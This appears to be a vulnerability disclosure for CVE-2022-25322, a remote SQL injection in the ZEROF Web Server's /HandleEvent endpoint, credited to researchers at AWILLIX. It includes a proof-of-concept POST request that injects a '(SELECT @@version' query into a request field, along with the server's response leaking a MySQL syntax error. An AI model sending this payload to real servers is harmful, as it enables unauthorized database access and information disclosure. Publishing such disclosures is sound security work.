CVE-2022-25322

Suggested description

ZEROF Web Server February 2022 version /HandleEvent SQL Injection.

Vulnerability Type

SQL Injection

Vendor of Product

ZEROF

Affected Product Code Base

Web Server - February 2022 version

Affected Component

affected , /HandleEvent Authorization type

Attack Type

Remote

Impact Code execution

true

Impact Information Disclosure

true

Discoverer

- Igor Landyrev
- AWILLIX LLC

Attack Vectors

Example:

```
POST /HandleEvent HTTP/1.1

Ajax=1&IsEvent=1&Obj=O33&Evt=keypress&this=O33&char=%0D&"_fp_=_S_ID=a4424hR14V100423
-(SELECT%20%40%40version"&_seq_=2&_uo_=O0
```

```
HTTP/1.1 200 OK

try{_rsov_(O33,0);}finally{alert("#42000You have an error in your SQL syntax;
check the manual that corresponds to your MySQL server version for the
right syntax to use near '('--(SELECT @@version')' at line 1.");}
```

[Reference] https://awillix.ru